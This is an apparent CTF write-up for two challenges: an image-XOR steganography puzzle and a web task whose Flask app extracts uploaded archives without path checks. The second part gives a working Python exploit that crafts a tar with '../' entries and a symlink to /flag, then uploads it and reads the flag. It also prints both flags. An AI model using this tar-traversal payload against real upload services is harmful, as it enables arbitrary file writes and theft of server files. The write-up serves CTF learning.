# intro

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FDXyBtgWF6C6PaVce7FQE%2Fimage.png?alt=media&#x26;token=fd426d8d-6dfd-4b67-97bb-cfc15ac08735" alt=""><figcaption></figcaption></figure>

## misc

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2F28ZPF9yTuSd3tQF0oXm6%2Fimage.png?alt=media&#x26;token=5e58824a-4f8d-4baa-a985-5e90191373e3" alt=""><figcaption></figcaption></figure>

> This picture seems oddly familiar… but something about it feels ever so slightly off.

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FTmwEcyZ6BnhDfeFPPk7z%2Fabout_us.webp?alt=media&#x26;token=dbacdd92-db8b-4701-926f-f827cd8aa5db" alt=""><figcaption></figcaption></figure>

This is the image that the challenge gave us. A quick image search got us the "original". I didn't really do much but safely assumed that they couldn't or wouldn't hide the FLAG on such an official website for a business like this (I thought it was a vibe code business for a second but quickly realized this is legitimate).&#x20;

So our flag had to be inside the challenge image they gave us. So I just... checked the size of both? And oh boy, you can beat me and I'll still say the flag is in there. Since it's just trivia, we XOR it. I did have a hiccup with a typo of 1 character and had to submit a ticket for it. L on me.

{% columns %}
{% column width="33.33333333333333%" %} <mark style="color:$warning;">`about_us.webp`</mark>

File Size : 1029 kb
{% endcolumn %}

{% column width="66.66666666666667%" %} <mark style="color:$warning;">`about-us-team.I3TrCs6f_4E8U9.webp`</mark>

File Size : 227 kB
{% endcolumn %}
{% endcolumns %}

```python
import numpy as np
from PIL import Image, ImageEnhance

im1 = Image.open("about-us-team.I3TrCs6f_4E8U9.webp")
im2 = Image.open("about_us.webp")
print(im1, im2)

im1np = np.array(im1) * 255
im2np = np.array(im2) * 255

result = np.bitwise_xor(im1np, im2np).astype(np.uint8)
img = Image.fromarray(result)

ImageEnhance.Contrast(img).enhance(100).save("flag.png")
```

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2Frc3ToOEbymhFAHw3LME6%2Fout_lsb_xor_any.png?alt=media&#x26;token=50e9c817-de98-4dc1-8afe-2f8621a50ce8" alt=""><figcaption></figcaption></figure>

* <mark style="color:$success;">**`FortID{1f_Y0u_W4nna_L3arn_M0r3_Ab0u7_Us_Try_S0lv1n6_051N7_Ex4m}`**</mark>

## meta 2.0

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FgHsCMMOeJbgLa9I4k5Kk%2Fimage.png?alt=media&#x26;token=6bd3ceec-074e-4a2a-8fd3-f5016b15aed9" alt=""><figcaption></figcaption></figure>

> Data science is old news, kids today are all about metadata science...
>
> <https://fortid-meta.chals.io/>

```bash
❯ unzip -l handout.zip
Archive:  handout.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     5001  2025-08-06 15:02   app.py
      732  2025-08-06 14:12   Dockerfile
       34  2025-08-06 11:42   requirements.txt
     5045  2025-08-06 12:10   templates/index.html
---------                     -------
    10812                     4 files
```

### tldr;

{% hint style="success" %}
The app accepts archives and extracts them with `extractall(...)` without sanitizing paths. By including entries like `../../../../srv/static/dummy.txt` (or absolute `/srv/...`), we escape the extraction directory and write into the Flask static folder. We drop a symlink there pointing to the flag (`/flag`), then fetch it via `/static/dummy.txt` to read the flag.
{% endhint %}

### the vulnerability

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FXEI6XbIIUWlVYv6B0b0M%2Fimage.png?alt=media&#x26;token=fc12fc38-b169-421e-997c-4b19c95c3b6f" alt=""><figcaption></figcaption></figure>

No checks for `..` segments, absolute paths, or symlinks, enabling classic Zip Slip/Tar traversal to arbitrary locations writable by the service user. So lets look at it this way

* Extract root chosen by the app: `/tmp/metabox/<uuid>/unpack`
* What if the TAR entry name is like this: `../../../../srv/static/dummy.txt`

Then the extractor builds a path like:

* Join: `/tmp/metabox/<uuid>/unpack` + `../../../../srv/static/dummy.txt`
* Result before normalization: `/tmp/metabox/<uuid>/unpack/../../../../srv/static/dummy.txt`
* <mark style="color:$warning;">Each</mark> <mark style="color:$warning;"></mark><mark style="color:$warning;">`..`</mark> <mark style="color:$warning;"></mark><mark style="color:$warning;">removes one path component on the left. After removing enough parents, you reach the filesystem root</mark> <mark style="color:$warning;"></mark><mark style="color:$warning;">`/`</mark>

So here is the steps we can take to exploit this:

1. Build an in-memory TAR containing:
   * A directory entry for `../../../../srv/static`.
   * A symlink entry `../../../../srv/static/dummy.txt` with link target `/flag`.
2. POST the tar to `POST /upload` as `multipart/form-data` with field `file`.
3. GET `/static/dummy.txt` to read the flag.

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FC9Dk7CUiNHQ5XSRuhfGm%2Fimage.png?alt=media&#x26;token=1285e89b-152a-4ea2-b237-73c9652ec511" alt=""><figcaption></figcaption></figure>

### solve

{% code overflow="wrap" %}

```python
import sys
import time
from io import BytesIO
import tarfile
import requests

base = sys.argv[1] if len(sys.argv) > 1 else "https://fortid-meta.chals.io"
targets = ["/flag"]

for t in targets:
    buf = BytesIO()
    with tarfile.open(fileobj=buf, mode="w") as tf:
        d = tarfile.TarInfo("../../../../srv/static")
        d.type = tarfile.DIRTYPE
        d.mode = 0o755
        d.mtime = int(time.time())
        tf.addfile(d)
        s = tarfile.TarInfo("../../../../srv/static/dummy.txt")
        s.type = tarfile.SYMTYPE
        s.linkname = t
        s.mode = 0o777
        s.mtime = int(time.time())
        s.size = 0
        tf.addfile(s)
    data = buf.getvalue()
    requests.post(
        base.rstrip("/") + "/upload",
        files={"file": ("x.tar", data, "application/x-tar")},
    )
    time.sleep(0.2)
    r = requests.get(base.rstrip("/") + "/static/dummy.txt")
    if r.status_code == 200 and r.text:
        print(r.text)
        sys.exit(0)
print(r.text)
```

{% endcode %}

* <mark style="color:$success;">**`FortID{I_H0p3_M4rk_Zuck3rber6_BuYz_0ur_M374_F0r_4_Bill10n_$$$}`**</mark>
